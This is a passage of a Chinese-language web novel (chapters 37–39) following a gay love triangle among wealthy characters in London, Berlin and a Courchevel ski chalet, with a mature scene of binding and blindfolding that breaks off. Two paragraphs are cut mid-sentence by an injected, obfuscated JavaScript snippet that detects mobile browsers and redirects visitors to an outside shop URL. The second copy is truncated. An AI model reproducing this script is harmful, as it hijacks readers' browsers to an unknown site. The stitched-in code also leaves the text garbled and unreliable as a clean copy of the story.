曾闰成摇摇头,如果不想引起李景麟的猜疑,就必须给出一个合理的解释。他环顾一下四周,不见曾闰霞的身影,“小霞呢?” “回房间打针了。” “你以后不要再老说她男朋友了,他只是帮忙演一下。” 李景麟点点头,“我知道。” “你知道?”曾闰成皱起眉头。 “你们家遗传基因都偏你身上去了,”李景麟淡定的喝着奶油松茸汤,“就算没生病,以傅家小子的样貌也看不上你妹妹。” “那……你还邀请他们……” “小霞高兴不就好了?”李景麟拉他坐下,把一碗海参小米粥推到他面前,“趁热吃一点。你放心吧,算这两个小子会做人,我不会亏待他们的,二月份到滑雪场让苏茜给他们送份礼。” 李景麟对这件事情不以为意,他接下来要说的才是重点,“闰成,你还打算回海德堡读博吗?要不要到柏林分公司帮我?”他停顿了一下,“我给你开一份与CFO同级的薪水和类比的岗位,你就近照顾小霞很方便。我问过小霞了,她也更喜欢柏林的国际学校。” 其实李景麟并不是会把感情和工作混杂在一块的人,但是对曾闰成,他想做一个更长远的规划。 曾闰成显然没料到他会有这个提议,愣了一下,脱口而出,“这是你的常规操作?” 就这么一句问话,李景麟都能品出点介意的意思来,曾闰成从没问过他任何感情上的事情,即使远在异国他乡,但网络信息这么发达,流言蜚语应该多少听过一点,他却始终不置一词。 他的这个小作精不是不在意,只是藏得深罢了,李景麟眉梢眼角都带了点笑意,“傻瓜,”他抬手拿自己餐巾帮他揩了揩嘴角,“单对你,闰成,我早跟你说过,我其实很欣赏你的才华和专业技能,与其帮导师打工,不如来帮我。” 曾闰成不自然的别过脸,“我考虑一下。” 李景麟差点被他逗笑,别人梦寐以求,他还需要考虑一下。柏林分公司是君临集团的营收支柱之一,如果让他进入管理层,尤其是类比CFO的岗位,就意味着很多核心的机密会让他掌握,他不是一个可以随便甩开的人。 李景麟把他安排到这个岗位,绝对是私心里想要给他多一层保障,让彼此的关系多一条稳固的链接。 这点他不相信曾闰成想不到,却还是表现得如此不care,他伸手捏捏他脸颊,“我真是把你惯坏了。” 37.第 37 章 从纽约飞回伦敦的七个小时里,傅廷恩一个字也没有说,不管江永安在他耳边怎么聒噪,他就是不吭声。只把头等舱特供的香槟喝了一杯又一杯,没有醉,没有过量要求,睁着一双迷离的眼睛看着江永安,眼圈红红的,却也没有掉眼泪。 看得江永安心里抽抽的,忍不住也端起香槟一饮而尽,“尼玛,这恋爱谈得太他妈伤人了!”打了个酒嗝,“呃,是单恋,这单恋太他妈伤人了!” 他说了这话,傅廷恩也没什么反应,他趁机多说两句,“廷恩,我可帮你观察了,曾老师说那些话的时候眼神既没有往上飘也没有往旁看,总之是没有一些撒谎的小细节,他说的是真心话。他确实喜欢李景麟,你放下吧,啊,咱大伦敦多少帅气男儿等着你。远的不说,洋介是一直等着你回头的。我可把航班抵达的时间发给他和莱昂了,来不来接就看他自己了……” 傅廷恩仍不答话,只将手覆在脸上,吃吃的笑。那低低的笑声怎么听都透着点自嘲颓丧的意味。 江永安叹了口气,他其实挺能理解傅廷恩的心情,四年前的恒雅网球场,他看着傅廷恩蹲下去为曾闰成系鞋带。 从曾闰成的角度只能看见对方的发顶,他坐在一旁的观众席,却能清晰的看到傅廷恩泛红的耳廓和带笑的嘴角。好像多珍惜这个献殷勤的机会似的。 哪怕在牛津两年,他也知道他没有放下曾闰成,学校和社团的活动超级多,各种聚趴的机会,总有喝醉的时候,喝醉了他这个唯一的知情人就成了他倾诉怨念和相思的对象。 他口齿不清的搂着他肩膀,“你知道吗永安……我一想到他会温柔的把一个女人抱在怀里……我这里……”他指了指胸口,“就他妈觉得好疼……” 现在好了,江永安悲凉的扯了扯嘴角,他倒是没有把一个女人抱在怀里,却被一个男人抱在怀里,这家伙的心不知道有没有碎成七八瓣。唉,冤孽。 他搂过傅廷恩的肩膀拍了拍,他江永安这辈子都不要谈这种伤心费脑还戳肺管子的恋爱! 飞机抵达伦敦已经是深夜,洋介果然和莱昂一起来接机,其实回傅廷恩的公寓并不算很远,但江永安特意吩咐莱昂在附近找了一家汽车旅馆。 现在都流行做旧仿古,这家汽车旅馆也特意营造出八十年代的氛围,斑驳的铁皮灯牌绕着一圈小灯泡,木头打造的房子,房间之间只隔了一层木板,听着半夜隔壁传来的动静,江永安总算放下心来,忘记旧人,开始新生活,才是最正确的选择。 第二天凑在一块吃早午餐的时候,江永安忍不住调侃傅廷恩:“兄弟,一大早的劲咋这么足呢?想睡个懒觉都被你们吵醒。” 傅廷恩双手搭在椅背上,翘着二郎腿,嘴里咬着根烟,脸上挂着点满不在乎的笑。倒是洋介有点不好意思,把头钻到傅廷恩怀里,躲避江永安调侃的视线。 两个人看起来其实很登对,傅廷恩个高,虽然眉眼昳丽但举止很潇洒很爷们,洋介矮了几寸,身形跟那个裹着睡袍的背影确实很像,一样的消瘦,眉目精致,性情也温顺,乖巧的趴在傅廷恩怀里。嗯,完全不比某人差,至少江永安是这么认为。 傅廷恩和洋介正式开始交往。洋介在UCL修企业管理,学校在伦敦市区,离牛津市有一个小时车程,傅廷恩每个周末都会驱车去看他。 两人一块把伦敦做omakase的米其林餐厅吃了个遍,难订的餐厅傅廷恩都会提前预订位置,会陪他看电影,逛大英博物馆、牛津街、中国城。时不时送花、送礼物,绝对标准男友操作。 可是两个月后洋介提出分手,傅廷恩没有丝毫挽留,无缝衔接了一个本校大一新生学弟。 洋介在江永安这个介绍人面前哭得眼睛都肿起来,“我就知道……他是不会挽留的……他连为什么也没有问……” 江永安带着莱昂跟他们一块吃过几次饭,傅廷恩会帮洋介拉开椅子、拿外套,一副二十四孝好男友的样子还被江永安嘲笑过。 “你为什么要提分手啊?他对你不挺好的吗?”傅廷恩交往过的人他见得不少,但不是对谁都这么殷勤周到。 “就因为太好,你才会想要更多。”洋介眨着一双泪眼,一只手按在胸口,“我想要他这里有我……” 江永安拍着脑袋,只觉得头疼,“啧,这得有个过程的呀,洋介,拍照片那次我就跟你说过,这个人在廷恩心上很久了。怎么可能一下子就剔除掉?但只要你有耐心,他迟早是能忘掉的……” 洋介摇摇头打断他的话,“我一开始也这样想。可是他看电影总是发呆,看完交流他什么也说不上来,我说不喜欢的花他也不记得,隔三岔五的送……”他委屈的咬着嘴唇,“有两次梦里,他还叫了那个人的名字,我知道那两个字的中文发音……” 江永安彻底无语,只能摊开手,“那没辙了,让他去死好了,分了也好,他配不上你,哥帮你介绍更好的,只把你放心上的好不好?咱大伦敦帅哥大把的……” 洋介一把扯住他胳膊,眼泪滚滚而下,“永安,我后悔了,我不该提分手,我应该再多给他点时间,我不该着急的。” 再帅的男生哭成这样也好看不到哪里去,“可他不理我了,消息不回电话不接,我去学校找他,他跟一个男孩子在打球,他说不可能了。永安,你帮我劝劝他,他是不是为了气我?我们在一起两个月不可能没有感情的……” 江永安烦躁的蹲下身子抱住头,天啊,降道雷把傅廷恩这祸害劈了吧! ———————————————————————— 在跟小学弟交往两个星期掰了以后,傅廷恩来找江永安,“送我去机场,我要去领报酬!” 江永安秒懂他的意思,“你疯了傅廷恩?你真这么去羞辱他?!” 傅廷恩咬着烟,他最近烟不离手。头发又长长了,在额前飘散着,他随手往后一捋,一副吊儿郎当的模样,“可能是没睡过所以总吊着,操|个十七八遍估计就腻味了。”他向天空吐着烟圈,“就像你说的,脱|光了睡过了估计也就那样。” 要腻味李景麟早该腻味了!这话在江永安舌尖转了两圈到底没说出口,再是死党这种捅刀子的话还是收着点吧。 他啧啧的讪笑着,“我怕你走向相反的方向……”他直觉傅廷恩其实是憋不住想去见曾闰成了。 “切!我能这么没骨气?只是不甘心罢了,耗时费力这么久,总得收回点利息!”傅廷恩把烟掐了,“你送不送?不送我走了!” “哪能不送呢?”江永安接住他抛过来的车钥匙,他送傅廷恩去机场,回头再帮他把车开回他这里。 “你知道他在哪?” “柏林。” 曾闰霞还在休养期,不能回学校,在纽约待了一段时间之后,她觉得欧洲更舒服一点,于是他们从纽约搬回了柏林的勃朗庄园。 “柏林可是李叔叔的地盘,他们集团在柏林的分公司规模很大,人也多,你小心点!”在别人地盘上挖墙脚,怎么看怎么不靠谱。 “没所谓,大不了杀了我。”傅廷恩把一双长腿搁在副驾驶扶手箱上,高帮靴底磕着挡风玻璃,敞开着短款羽绒服,不时“啪嚓”一声打开打火机,又盖上。 “杀了你是不至于,但肯定讨不了好,他们家的背景我不信你没听家里说过。”李家作为港城首富,涉|黑的传闻屡见不鲜。 “为个情儿两家翻脸应该不会,但要给你一点教训分分钟的事,别怪我没提醒你。”江永安总觉得心里惴惴的,“要不我还是跟你一块去吧?有啥事也好给你打个掩护。” “你够了啊江永安,听墙角还听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503420|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上瘾了不是?!”傅廷恩不是不知道他的好意,但越这么着越不能把他牵扯进来,他把毛线帽子往脸上一盖,“牡丹花下死,做鬼也风流!你就别管了!” ————————————————————————— 曾闰成看着手机里那条消息足足愣了三分钟,曾闰霞看着他凝固的脸色,“怎么了哥?”正是晚餐时间,兄妹两人坐在餐桌前一块用餐。 曾闰成放下手机,“项目上的事。”他在海德堡参与的无人驾驶项目虽然因为他请假不能参与team meeting,但有些数据小组还是会经常发送给他,让他抽空测算。 他放下刀叉。“就吃饱了吗?”曾闰霞看着他餐盘里剩了一半的牛排。 “嗯,吃饱了。”曾闰成起身在壁炉前来回的踱步,手机又连着响起几声,他叹口气,上楼换了衣服,走下来对小霞说道,“导师找我,我出去一趟。可能会回来的比较晚一点,你早点休息。” “哦。”小霞点头。 他拿起手套走出餐厅,在门厅休息室里烤火的司机跟了出来,“Sir,要用车吗?” “不用了,就在市区,我打车也方便,省得你等。”他步履匆匆的走出了雕花铁门。 曾闰成在电梯里按了傅廷恩提供的专属密码,上到了顶层。可是他在门口徘徊许久,几度伸手到门铃上又收了回来。 理智告诉他,一旦踏入这张房门,之前的苦心全部白费。他想要傅廷恩远离自己,去正常的恋爱、学习、生活,就不应该再跟他有任何牵扯,不管他说什么他都应该屏蔽掉。 可是手机里那一条条信息步步紧逼,透露着不管不顾的决心和急于宣泄的愤懑。曾闰成前所未有的纠结。 “叮”的一声轻响在空寂的走廊里分外清晰,曾闰成掏出手机,“曾老师,你不会打算反悔吧?那我去勃朗庄园找你,今天不见到你我不会回去!” 紧闭的房门突然打开了,傅廷恩原本就守在门边,信息刚发出就听到了门外的这一声动静,他伸出一只手,将踌躇忐忑的身影拉了进去。 他已经洗过澡,裹着酒店的白色睡袍,手里一瓶卡麦伦已经空了一半。自然卷的黑发已快及肩,随意的飞散着,映衬得本就深邃的五官分外耀眼,寒星似的双眸里水雾弥漫,双颊薄有酡红,显然已有醉意。 他随手将酒瓶搁在门厅,一把将曾闰成拉进来,“嘭”一声抵在门上。曾闰成穿着羽绒服,衣领上的绒毛搔在鼻孔里,让他打了个喷嚏,曾闰成趁机把他推开一点:“廷恩……” 傅廷恩却揉了揉鼻子,扑上去用唇堵住了他的嘴,曾闰成正准备说话,猝不及防被他亲了个正着,满溢着酒香的唇舌顷刻间就占领了整个口腔,台风过境似的掀起所有阻隔。 傅廷恩一边凶狠的吻着他,一边伸手将他的外套扒下往地上扔,搂着他后退几步,一个旋身就将他精准的扔到了床上。 他的唇齿始终没有离开他的,这么大幅度的动作自然引起了磕碰,一股血腥味瞬间就弥漫开过。 曾闰成有些恐惧于他的粗鲁,挣扎着想要将他推开,脸庞上却落下两行滚烫的液体,一股咸涩的滋味揉进了原本的血腥气息中。 他瞬间就心软下来,闭上眼,温柔的回应他…… 傅廷恩一下子愣住,良久,颤抖着伸出手在那微微起伏的胸膛上轻抚了一把,曾闰成包裹在毛衣里的呼吸便骤然粗重了些许。 傅廷恩惊醒过来,扯过腰上系着的皮带,将那翻到一半的衣服连带着曾闰成的双手束缚在头顶,却又从领口处把他挺直的鼻梁和丰盈的唇解脱出来,单只蒙上了他的眼。 他不能看着他的眼睛,也不能跟他说一句话。他怕他喊痛,也怕听到他说不要,更怕他用那双温柔的眼睛阻止着他的下一步举动。 38.第 38 章 柏林国际电影节历来都是每年二月举行,为期两个星期。宋奕今年有一部作品入围了主竞赛单元,早早就和经纪团队入住了柏林一家离会场较近的五星级酒店。 他知道君临集团在柏林分公司的顶楼修建了专门的停机坪,来之前他用很期待的口吻提出想借用李景麟的私人飞机。 李景麟果然没有同意。宋奕原本就因为和李景麟的关系经常见诸娱乐报刊杂志,随着咖位的不断提升,越发引人瞩目,不少娱记都深度挖掘过两人交往的时间线,如果再让他整个经纪团队都乘坐他的私人飞机,基本就等于公开宣告了。 宋奕其实知道他不会答应,所以落地柏林后,选了个合适的时间打电话,用汇报的口吻简单说了一下行程安排,然后提出另一个请求,“景麟,今年你去哪边滑雪?我可以一起吗?你告诉我时间,我提前空出档期。好多年没有陪你滑过雪了。” 不知道电话那头的李景麟说了一句什么,他在这边再三保证:“你放心好了,我绝不会乱说、乱做什么。每天都在雪道上,也没有多少时间可以碰面。嗯,我知道了,你放心,好的,你别太累着,早点休息,拜拜。” 经纪人等他挂了电话,才觑着他的脸色问道:“奕哥,李总答应了?” “嗯,二月底到高雪维尔,估计得十天半个月,你把行程排一下,跟着一块去。”他是自己的工作室,经纪人其实只能算团队管理人。 经纪人一脸欣喜的表情,“高雪维尔可是高奢云集地,您代言的品牌今年拿下了1850线的缆车装饰权,如果能跟高层会面,说不定代言级别还能再往上升一升。” 宋奕不置可否,这些对现在的他来说,其实已经不是最重要的事情。名利到手了,你就想要人心。何况,有的人,你只要握住了他的心,就等于握住了想要的一切呢? 他和经纪人坐在酒店一楼的咖啡厅,这家酒店有多年接待来参加电影节明星的经验,各项设施都在私密性这块做得很到位。 比如这靠窗的玻璃,看着清澈透明,可以无碍视线观赏街景,但走过窗边的人却看不见里头坐着的人。 所以当曾闰成的身影走过,宋奕一下就站起了身。即使只在李景麟的办公室打了个照面,但宋奕对他的印象特别深。不止因为他穿着普通却气质斐然,更因为李景麟对这个人的特别。 宋奕一定要陪同去滑雪,就是通过苏秘书下边的助理知道了今年的安排,想去会会这个人,没想到先在这里见面了。 他知道曾闰成在柏林,但是没有想过单独去见他,这样太明目张胆了,但是他更没想到这个人敢明目张胆的出现在五星级酒店,来见谁呢? 他当即指示经纪人,“你跟上那个人,亲自跟着,看看他去哪里,跟什么人见面。” 经纪人一直蹲到凌晨两点,才等到曾闰成从旁边的酒店走出来,上了一辆出租车,他掏出手机,关掉闪光灯,偷偷拍了一张照片,虽然很模糊,但还是可以辨认出身形。 打电话汇报的时候,顺便把照片发了过去,宋奕看着那张照片上即使一个侧颜轮廓也显得精致利落的身影,捏紧了手指,“干得不错,年底利市给你多发一倍。” 经纪人喜滋滋的,“谢谢老板。” “有没有打听到他跟什么人见面?”从他见到曾闰成身影到这个点已经过去了十多个小时,这么长的时间待在一个酒店,想也知道在干什么。 光从那晚隐约听到的几句电话内容,宋奕就知道李景麟对这个男人的占有欲很强,连他不在的场合端杯都不允许。没想到这小子外表看着老实,胆子倒是不小。 “我给了前台500欧,只知道他是从顶层的总统套房下来的,但是订房的客户信息前台无论如何不肯透露,电梯每层都有密码,实在探听不到。”预订这种房型的客户信息前台确实不敢倒卖。 宋奕陷入沉思,“两万欧一晚的总统套房,难道他另有金主?也不知道是男是女……” “不过,我看他样子……”经纪人有些犹豫。 宋奕不悦的皱眉,“有话就说。” “我看他行动间……挺自如的,不像是……操劳过度的样子。”经纪人说得含糊,但宋奕明白他的意思,十多个小时,肯定不止一两次,如果另一方也是男性,多少会带出点幌子来。 女人的话……也不是不可能,欧洲这边的女富豪和女性继承人非常多,以曾闰成的身段长相估计在富婆圈也很吃得开…… 但如果光为了钱,他实在没必要这么做,宋奕很清楚李景麟对历任大方的程度。 光凭这么张照片分量不够,这次去滑雪他得好好观察一下,不过只要抓住了这个把柄,这个人也就不足为虑了。宋奕嘴角上扬,俊俏的脸庞上泛起得意的光芒。 ———————————————————————— 滑雪之行一直拖到三月初才成行。李景麟农历年前后分外忙碌,港城的规矩大,年年祭祀开宗祠,各房各家都要聚拢来,数不清的饭局酒局,年后的统筹安排,掌事的调动排布,作为中流砥柱,李景麟避无可避。 他太太王芝芙也带着两个孩子从澳洲飞回来,夫妻俩见了面分外客气。王芝芙笑吟吟的上来挽住他手臂,“景麟,你比夏天要清瘦些了。” 每年夏天,王芝芙会带两个孩子到夏威夷跟他团聚一个月,平时不太来扰他。 她生得圆圆脸盘,弯弯眉眼,是长辈们最喜欢的旺夫相。家世学历也相当,将两个孩子培养得很好。 李景麟拍拍她手臂,“你教育孩子才是辛苦,闲时多保养。”两人在老宅的庭院里遇见,相携着往主屋走,背影倒也是郎才女貌。 “我今年是不是见老了?”提到保养,王芝芙摸摸脸,她跟李景麟同龄,三十七岁的男人和三十七岁的女人实在是不好比。 “终归都要老的。”李景麟不肯说违心话,“得空多找几个土澳的帅哥陪陪你,女人需要多分泌雌激素才不容易老。” 王芝芙也不肯服输,“我挑男人的眼光一贯不行,还要请李总得空多指点。”她微微挑眉的样子,倒也有几分年轻时泼辣爽利的风情。 李景麟宠溺似的伸手轻弹一下她脑门,“行,等明年有空我飞澳洲,亲自帮你掌掌眼。” 两家缔结婚姻之初,他就同她交过底,他虽然更偏好男人,但也不介意通过正常的婚姻流程生下继承人。 而王芝芙既不是恋爱恼,也没有事业心,一干世家子弟里,李景麟是最优选择,家世更好,孕育一两个后代就可以保下半辈子的荣华富贵。 两人签了婚前协议,如果中途各有所爱,随时可以结束这段关系。但十多年下来,彼此都感觉可以继续合作下去,一段稳定的婚姻关系,对他们这种家族来说,实在是太省事了。 ———————————————————————— 中国的农历新年,英国不会特别放假,偶尔跟春季假期重合在一起,倒是可以飞回金城,但今年自然是不行,傅廷恩在视频里安慰傅太,“只要再等七个月,妈你跟爸就能来参加我的毕业典礼了。” “这么有把握?”都说英国的硕士水,是因为它的一年制,但实际上它是将两年的课程压缩到了一年,毕业论文、毕业答辩一样不缺,每年挂科申请延期的不在少数。 “那当然,我答应你的事嘛,当然要做到。”傅廷恩对着镜头展示了一下他刚熬夜写完的五千字论文。 傅太又欣慰又心疼,“其实延一年也不要紧,横竖能毕业就行,妈还是想你回来一趟……” 傅明章在旁边打断她,“瞧瞧你这说的什么话,儿子上进是好事,有廷昀和婵娟陪你还不够么。” 镜头前探进来半张黝黑的面庞,拉远点,他哥对着镜头露出一口白牙,“要不要我和你嫂子飞伦敦看看你?”傅廷昀今年带了交往两年的女朋友回家,是个澳洲华裔,世代经商,家世相当。 “谢啦,我没空招待你。”傅廷恩对着镜头里出现的美女喊了声嫂子,又转向他哥,“年底吧,说不定去澳洲找你玩。” “啊哈,这么忙,是不是交女朋友了……” 一旁竖起耳朵的傅太赶紧把傅廷昀挤到一边去,“儿子儿子,真有对象了?快跟妈说说……” 傅廷恩不答他妈的话,接着他哥那句说:“为什么一定是女朋友?男朋友不行吗?” 这下轮到傅明章在电话那边露声不露脸的咆哮,“你少给我伤风败俗啊我警告你臭小子……” 傅廷昀抓着手机不给他爸,伸手弹了一下屏幕,“你小子开玩笑也分点场合!年夜饭都不让爸安心吃是吧?上次还在ins上刷到你跟你女朋友照片,她粉丝量还不小,叫啥来着……” 傅太在一旁尖叫,“叫什么叫什么?快翻出来给我看看!” 其实之前为着这事,傅廷昀还专门给傅廷恩打了个电话,他无意间刷到的这个ins博主虽然经常戴着口罩或者做一点小遮挡,仍看得出是平平无奇小少女一枚,但因为超帅的男友和奢靡的物质生活在ins上收获了一大波粉丝。 傅廷恩只能解释了一下是朋友的妹妹,身体不太好,小姑娘又渴望谈恋爱,所以当个挂名男友也无所谓。傅廷昀问他,“你在这里做好人好事,那真女友怎么办?” “没有真的,都是假的。”傅廷恩当时就答他,没想到他哥竟然还捅到他爸妈面前,为了阻止他出柜,他哥真是费心了。 傅廷恩好不容易挂了视频,躲一旁啃饺子的江永安冲他竖起大拇指,“哥,你牛,男朋友都没有不知道你在这里闹的哪门子出柜?!” 不能回金城,除夕这天隔得近的中国留学生一般会凑一块吃饺子。江永安一早就屁颠屁颠跑来傅廷恩宿舍,还揣来了两大袋速冻饺子,据说是学妹送的手工货。蒸熟了确实皮薄馅多,非常正宗的东北口味。 傅廷恩顾不上吃饺子,打开电脑,噼噼啪啪一顿操作,江永安凑过去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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傅廷恩愣了一下,眼睛从书本上移开,看向一旁空着的饺子碗,其实很想过去陪他过年,但时间上确实来不及,而且,他也不确定他愿意见到他。 “永安,我以后不会再随便跟人交往了。我知道我忘不了他,我想跟他在一起。”傅廷恩低声道,“你知道吗?永安,他说他喜欢李景麟,我心里其实是不信的,这次过去尤其……” “他跟你说了他不喜欢?”江永安打断他。 “没有,从头到尾都没说话。”就进门的时候叫了一声他的名字。 “没说话?!”江永安跳起来,“一晚上没说话,全用来……做了?” 傅廷恩摇头,“没有做。” 江永安不敢置信的瞪大眼睛,“没有做?没有做!那你这一脸回味的表情是什么意思?意淫吗?!” 傅廷恩竟然点点头,“就抱着他睡了一觉,但那是我最近睡得最踏实的一次,连他什么时候走的都不知道……” 傅廷恩的思绪飘回那个晚上,他看着他半|裸着身体平静的躺在那里,似乎对即将到来的伤害也好蹂躏也罢,都打算默默承受。 他满腔的怒火和不甘,顷刻间烟消云散。他解开对他的束缚,拉好他的衣服,从背后抱住了他,他是闰成啊,是他的Jasper,他怎么能这样去伤害他、羞辱他? 他扬手狠狠的给了自己一巴掌,曾闰成却回过身抓住了他的手,温柔的吻上了他的唇…… 江永安一巴掌拍在他肩膀上,打断了温情的回忆,“你是说你开了一间总统套房,什么也没做,什么也没说,就两个人抱着睡了一觉?单纯睡觉?不是吧兄弟,你在讲笑话是不是?” 傅廷恩白他一眼,“我就知道你理解不了。” “他都没说,你怎么就知道他不喜欢李景麟?” “感激或许是有的,有些事情披一件温情的外衣,会比较容易接受一点。”傅廷恩叹了口气,“他如果真喜欢李景麟,半个眼神都不会分给我。你不了解他,他不是那种游移不定、左右摇摆的人。” 更不用说,会那样温柔的吻他,紧紧的拥抱他。即使他极力掩饰,他眼里的愧疚和难过傅廷恩也看得明明白白。 “永安,有时候不需要说什么,我真的懂他,他也懂我。还是那句话,如果我足够强大,就不会让他陷入这种纠结的境地……” “好吧,他成功把你睡服了。”江永安两手插胸,“傅廷恩,我真的很好奇,你是怎么在无情浪子和纯爱战士之间自如切换的?是不是脑回路跟我不一样?安?” 傅廷恩随手抓过一本数学期刊丢他身上,“滚!回去写作业去吧,不然我看你怎么请这么长时间假!” 江永安搔搔头发,“虱多不痒债多不愁,我无所谓,大不了延毕。我可没有肩负光荣的使命,哎,我真的很好奇。”他一脸百思不得其解的表情, “曾老师怎么就这么大魅力?能让你这么死心塌地。” 他啧了一声,“同为零号我真的很好奇,有机会我一定要跟他讨教几招,叫了这么久时间老师,总得教点东西给我吧?!” 乱调侃的后果就是换来一记响亮的巴掌,拍屁股上,“滚!” 39.第 39 章 在整个欧洲的滑雪胜地里,相比瑞士莱克斯、阿罗萨、采尔玛特等各州的平价亲民,法国高雪维尔算是高奢高消的代名词,号称欧洲最奢华昂贵的度假场所。 它位于法国三峡谷境内,优越的地理环境使它整个雪季都被厚厚的白雪所覆盖,森林环绕,空气清新,环境静谧。 江永安面对着皑皑雪山双手拢在嘴边打了个唿哨,“Courchevel,I’me back!” 他前两年和当时的男友来过一次,傅廷恩在英国念初中的时候一到滑雪季都是跟姑姑一家去瑞士,高雪维尔倒真的是第一次来。 两人背着滑板包在山谷下招了辆车直送山顶的1850小镇,从伦敦过来高雪维尔比从柏林过来更近,傅廷恩要赶小组答辩,两人便没有绕道柏林坐李景麟的私人飞机。 “我们前年订的白马,不知道李叔叔订的哪一家酒店,1850有几家殿堂级的,一万欧一晚的基本房型,但是服务贼周到,雪鞋都有专人刷洗烘干。”江永安张望着沿途的雪景,难掩内心的激动,在心情不爽的时候能出来度假两个星期别提让人多开心了。 “真分了?跟那意大利帅哥?”傅廷恩虽然赶小论文,对好兄弟近来要死要活的精神状态多少知道一点。 “嗯!文化差异的鸿沟实在是难以填平。”江永安点点头,“填不平老子可以跨过去,你以为我像你,非得在一个坑里头死磕。”江永安抓到机会就要刺一刺傅廷恩,他突然想起一件事,皱了皱眉头,“哎,我跟你说,我这次过来还肩负着一项光荣的任务,这事你得帮我。” “什么任务?” “等到了你就知道了。”江永安卖了个关子。 车辆转过几个陡坡,笔直往上开,苏秘书发过来的位置没有任何酒店的名称,司机按导航把他们在1850小镇路边扔下。 各大奢牌的精品店招牌在道路两侧闪闪发光,如果不是亲眼所见,你很难想象在这个人流并不密集的山顶,会有这么多家齐全的奢牌店铺。 LV的白色帐篷店坐落在雪山脚,Hermes的招牌矗立在半山腰,间或有穿着厚厚滑雪服,滑着雪板的人拎着它家橙黄色的提袋从店门口滑出来,消失在茫茫雪原中。 各大品牌其实都会送货到客人下榻的酒店,但是也不乏从其它雪场滑过来配货的人,只能自己拎着走。 “各大奢牌在这里的货是最齐全的,这帮家伙精着哩,知道这里云集的都是准客户,态度那叫一个好。”江永安是很爱打扮的,在金城也经常逛奢侈品店铺,对于专柜BA在国人面前那副高高在上的嘴脸相当看不上。 两人在路边等了十来分钟,一辆敞篷四驱雪地车停在他们面前,巨大的轮胎碾压过厚实的雪层,车上跳下来两个小姑娘,曾闰霞穿着厚厚的羽绒服,带着毛线帽子,小熊一样扑了过来,“廷恩哥。” “任务来了。”江永安拍拍傅廷恩肩膀,另一个同样穿着白色滑雪服,带着防风帽的姑娘拉下口罩,露出一张粉雕玉琢的脸,“两位就是傅廷恩、江永安吧?苏秘书让我来接二位,我是李芷玉。” 她摘下手套,很正儿八经跟两人握了个手,但是看年纪应该跟他们差不多。 她眼睛在两个人面上打了个转,落在江永安脸上,“江永安?” 江永安点点头,“嗯,你的相亲对象。” 此话一出,场面有瞬间的安静,江永安看一眼傅廷恩憋笑的脸,相当没有风度的踢了一脚雪地车高大的轮盘,“操!这很奇怪吗?傅廷恩,等你回了金城……” 傅廷恩不想他乱嚷嚷,先拉着曾闰霞上了前排位置。曾闰霞是除了廷恩哥万事不管的,只要不是来跟廷恩哥相亲的就好,她依偎在傅廷恩身边,叽叽喳喳说个不停:“廷恩哥你们怎么才来?我们昨天就到了。” 因为都穿着厚厚的防寒衣服,她这样紧紧挨着他,也不算很尴尬,雪地车是敞篷的,傅廷恩生怕她摔下去,伸手拦在她身后,是保护的姿势。 李芷玉瞄见,心里叹了口气,为什么别人的运气这么好,有那么俊朗的亲哥,还有这么酷帅的男朋友。再瞥一眼身边的相亲对象,实在搞不懂为什么刚满22,家里就这么急着让她找对象。反正身边这唇红齿白娘炮兮兮的男人她是看不上,一点风度都没有。 她跟江永安背对而坐,雪地车在寒风中向着山顶的小木屋疾驰而去。 跳下雪地车,江永安倒是来了点兴致,看着眼前两栋并排矗立在山巅的小木屋,环顾一下绝美雪景,他乐颠颠的大喊:“还是李叔叔阔气!”殿堂级酒店之上就是这种独栋小木屋了。 江永安随手搓了个雪团往扶着曾闰霞下车的傅廷恩身上扔,“来来来,陪小爷打一场先!” 李芷玉冲他翻了个白眼,用眼神传递了“幼稚鬼”这个评价,率先进了屋。 这是一栋五层的小木楼,basement修建得很高阔,可以容纳雪地车长驱直入,每一层都有三个房间,装修华丽,各有特色,室内电梯可以直上四楼。 四楼整层是一个大的起居室,兼具各项娱乐功能,宽大的真皮沙发,明火无烟的壁炉,可以容纳二三十人聚会用餐的横厅开间。 开放式厨房可以做简餐,身后的双开门冰箱里各类有机食材罗列得很整齐,吧台连接着调酒台,抬手就能拿到各种酒具器皿。整面墙的酒柜里根据酒类的不同温度要求,分成了各种隔间,从威士忌到金松子酒,应有尽有。 江永安吹了个口哨,“廷恩,调杯‘迷情摩洛哥’给我,快点,上次你调的这个好喝,快给我来一杯!” 带他们上来参观的李芷玉翻着白眼甩出两张房卡,“你们还是先把行李送回房间吧,我跟小霞在这里等你们。” 她从冰柜里给小霞拿甜品,“小霞饿不饿?要不要吃点这个黑巧?”她把小霞当小妹妹照顾,看样子是得到了苏秘书的吩咐。 “他们人呢?” “这里是干嘛的?当然是滑雪去了,等晚上回来就见到了。” “哦。”江永安拖着傅廷恩往楼下走,行李还扔在basement呢。他指指旁边一个转角的木质楼梯,“这上面是天台吗?”登高赏雪景也不错。 “五楼是主卧,电梯不能直达。谢绝参观哈。”李芷玉指指四楼外面的大露台,铁艺的桌椅上覆盖着一层厚厚白雪,“要赏雪景可以到这里,等天晴来个BBQ也不错。” “切!”江永安看着她沾着黑巧的嘴角,回了个白眼,“就知道吃。”他又翻出手中的房卡瞅了瞅,“一楼?为什么让我们住一楼?三楼呢?三楼不空着吗?” 李芷玉无语望天,“Sorry啊江少爷,三楼有贵宾。” 一整个下午,小木屋都只有他们四个人,傅廷恩想早一点见到曾闰成,收拾了行李,去四楼给两个女孩子各调了一杯度数比较低的鸡尾酒,就扯着江永安在小木屋外玩滑板。 木屋是依山坡而建,坡道长但坡度不大,虽然玩起来不太刺激,但要走回坡顶也比较容易。 